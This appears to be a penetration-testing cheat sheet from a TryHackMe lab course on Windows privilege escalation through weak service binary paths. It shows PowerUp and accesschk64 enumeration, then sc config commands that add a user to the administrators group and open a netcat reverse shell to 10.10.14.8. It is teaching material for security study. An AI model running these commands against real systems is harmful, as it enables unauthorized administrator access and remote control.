# Binary Paths

## Overview

Services sometimes have executables attached to them. If we have the right permissions to the service then we can change the **binary path** (executable file) to a malicious one.

## Exploitation using PowerUp

#### Run PowerUp on machine

```powerquery
. .\PowerUp.ps1
Invoke-AllChecks
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FwSm9Q3OzX6uj1WW0O9YI%2Fimage.png?alt=media&#x26;token=34ca1edf-c940-4ca0-94fb-d29ef3199963" alt=""><figcaption><p>TCM Windows Priv Esc on Try Hack Me</p></figcaption></figure>

#### Change the binary path

```powerquery
sc config daclsvc binpath= "net localgroup administrators Greg /add"
sc config daclsvc binpath= "C:\temp\nc.exe -e cmd.exe 10.10.14.8 1337" 
```

#### Start service

```powerquery
sc start dacl 
```

## Exploitation via Accesschk64

#### Check for services with write permissions

```
accesschk64.exe --accept-eula -uwcv Everyone *
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FvrPnX00jbXYWmFy1IzB3%2Fimage.png?alt=media&#x26;token=23e6c32a-7150-48e3-8d10-9cb0f3b9580e" alt=""><figcaption><p>TCM Windows Priv Esc on Try Hack Me</p></figcaption></figure>

```
accesschk64.exe -uwcv daclsvc
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FbnuII3ZwPHzTrwFid96S%2Fimage.png?alt=media&#x26;token=7d9af93e-beed-4f98-9fc9-cdd85b94854f" alt=""><figcaption><p>TCM Windows Priv Esc on Try Hack Me</p></figcaption></figure>

#### Query the service

```powerquery
sc qc daclsvc
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FP8o5xcEp7tPKE2SYNLcD%2Fimage.png?alt=media&#x26;token=d4b5fd3a-bbbd-43b9-902b-511abe676f59" alt=""><figcaption><p>TCM Windows Priv Esc on Try Hack Me</p></figcaption></figure>

#### Changing the binary path is the same as the last method
